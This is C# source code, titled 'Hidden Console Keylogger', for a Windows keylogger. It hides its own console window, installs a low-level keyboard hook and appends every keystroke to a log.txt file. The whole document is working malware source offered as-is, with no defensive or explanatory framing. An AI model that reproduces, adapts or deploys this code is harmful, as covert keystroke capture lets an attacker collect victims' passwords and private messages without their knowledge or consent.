Hidden Console Keylogger in C# Sharp

using System;

using System.Diagnostics;

using System.Windows.Forms; //adicionar referência ao projeto (console app)

using System.Runtime.InteropServices;

using System.IO;

namespace Mecapture

{

    class Program

    {

        private const int WH_KEYBOARD_LL = 13;

        private const int WM_KEYDOWN = 0x0100;

        private static LowLevelKeyboardProc _proc = HookCallback;

        private static IntPtr _hookID = IntPtr.Zero;

        public static void Main()

        {

            var handle = GetConsoleWindow();

            // Hide

            ShowWindow(handle, SW_HIDE);

            _hookID = SetHook(_proc);

            Application.Run();

            UnhookWindowsHookEx(_hookID);

        }

        private static IntPtr SetHook(LowLevelKeyboardProc proc)

        {

            using (Process curProcess = Process.GetCurrentProcess())

            using (ProcessModule curModule = curProcess.MainModule)

            {

                return SetWindowsHookEx(WH_KEYBOARD_LL, proc,

                    GetModuleHandle(curModule.ModuleName), 0);

            }

        }

        private delegate IntPtr LowLevelKeyboardProc(

            int nCode, IntPtr wParam, IntPtr lParam);

        private static IntPtr HookCallback(

            int nCode, IntPtr wParam, IntPtr lParam)

        {

            if (nCode >= 0 && wParam == (IntPtr)WM_KEYDOWN)

            {

                int vkCode = Marshal.ReadInt32(lParam);

                Console.WriteLine((Keys)vkCode);

                StreamWriter sw = new StreamWriter(Application.StartupPath + @"\log.txt", true);

                sw.Write((Keys)vkCode);

                sw.Close();

            }

            return CallNextHookEx(_hookID, nCode, wParam, lParam);

        }

        [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]

        private static extern IntPtr SetWindowsHookEx(int idHook,

            LowLevelKeyboardProc lpfn, IntPtr hMod, uint dwThreadId);

        [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]

        [return: MarshalAs(UnmanagedType.Bool)]

        private static extern bool UnhookWindowsHookEx(IntPtr hhk);

        [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]

        private static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode,

            IntPtr wParam, IntPtr lParam);

        [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]

        private static extern IntPtr GetModuleHandle(string lpModuleName);

        [DllImport("kernel32.dll")]

        static extern IntPtr GetConsoleWindow();

        [DllImport("user32.dll")]

        static extern bool ShowWindow(IntPtr hWnd, int nCmdShow);

        const int SW_HIDE = 0;

    }

}